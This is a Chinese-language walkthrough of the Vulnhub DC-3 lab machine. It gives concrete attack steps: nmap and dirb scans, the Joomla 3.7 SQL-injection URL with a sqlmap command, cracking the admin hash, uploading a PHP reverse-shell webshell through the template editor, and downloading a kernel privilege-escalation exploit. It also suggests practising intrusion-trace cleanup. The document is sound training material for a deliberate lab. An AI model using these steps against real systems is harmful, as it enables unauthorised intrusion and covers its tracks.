Vulnhub靶机DC系列-DC3
字数 1401 2025-08-15 21:33:19
DC-3 靶机渗透测试教学文档
靶场概述
DC-3 是 Vulnhub 上一个专门构建的漏洞实验室,旨在为渗透测试初学者提供实践经验。与之前的 DC 系列不同,这个靶机只有一个 flag、一个入口点且没有任何线索。
特点:
- 适合初学者但需要基本的 Linux 命令行技能
- 需要基本的渗透测试工具使用经验
- 有经验的 CTF 选手可能在 20 分钟内完成
- 提供多种可能的攻击路径
环境搭建
虚拟机配置
-
推荐使用 VirtualBox (NAT 模式):
- VMware 可能出现 IP 分配问题
- Windows 10 更新后可能与 VirtualBox 冲突
-
解决 Hyper-V 与 VirtualBox 共存问题:
# 指定单个虚拟机开启 VBoxManage setextradata "<虚拟机名字>" "VBoxInternal/NEM/UseRing0Runloop" 0 # 或为所有虚拟机开启 VBoxManage setextradata global "VBoxInternal/NEM/UseRing0Runloop" 0
渗透测试过程
1. 信息收集
获取靶机 IP:
nmap -sn 192.168.3.0/24
扫描端口和服务:
nmap -sV -A <靶机IP>
2. Web 应用分析
-
访问 80 端口 Web 服务
-
目录扫描:
dirb http://<靶机IP>/- 发现后台地址:
http://<靶机IP>/administrator/ - 识别为 Joomla CMS
- 发现后台地址:
-
版本识别:
- 检查
README.txt文件 - 确认 Joomla 3.7 版本
- 检查
3. 漏洞利用
Joomla 3.7 SQL 注入漏洞:
- 漏洞点:
http://<靶机IP>/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27 - 使用单引号测试确认存在 SQL 注入
使用 sqlmap 自动化利用:
sqlmap -u "http://<靶机IP>/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --dbs
获取管理员凭据:
- 提取到加密密码:
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu - 使用 John the Ripper 破解:
john pwd --wordlist=/usr/share/wordlists/rockyou.txt- 获得明文密码:
snoopy - 管理员账号:
admin/snoopy
- 获得明文密码:
4. 后台利用
-
登录后台:
http://<靶机IP>/administrator/ -
寻找可利用点:
- 检查模板编辑功能
- 确认无 SSH 服务,需从 Web 端突破
-
上传 WebShell:
- 创建 PHP 反弹 shell 文件
- 选择模板位置存放
- 访问地址:
http://<靶机IP>/templates/protostar/A1.php
-
建立反弹 shell:
- 使用 nc 或 msfconsole 监听
- 注意:某些环境下 Python 升级可能有问题
5. 权限提升
-
检查系统信息:
uname -a- 确认内核版本
-
上传并执行提权 EXP:
- 在 Kali 上启动 Apache 服务
- 使用 wget 或 curl 将 EXP 下载到靶机
- 解压并授权:
chmod +x exploit.sh - 执行 EXP 获取 root 权限
6. 获取 Flag
- 在 root 目录下查找 flag 文件
关键知识点总结
-
信息收集:
- 网络扫描 (nmap)
- Web 目录爆破 (dirb)
- 版本识别
-
漏洞利用:
- Joomla 3.7 SQL 注入
- sqlmap 自动化工具使用
- John the Ripper 密码破解
-
后渗透:
- WebShell 上传
- 反弹 shell 建立
- 内核提权技术
-
问题解决:
- 虚拟机兼容性问题
- 环境限制下的变通方法
扩展思考
- 尝试不使用 sqlmap 手动进行 SQL 注入
- 探索其他可能的提权路径
- 研究 Joomla 其他版本的漏洞
- 练习清理入侵痕迹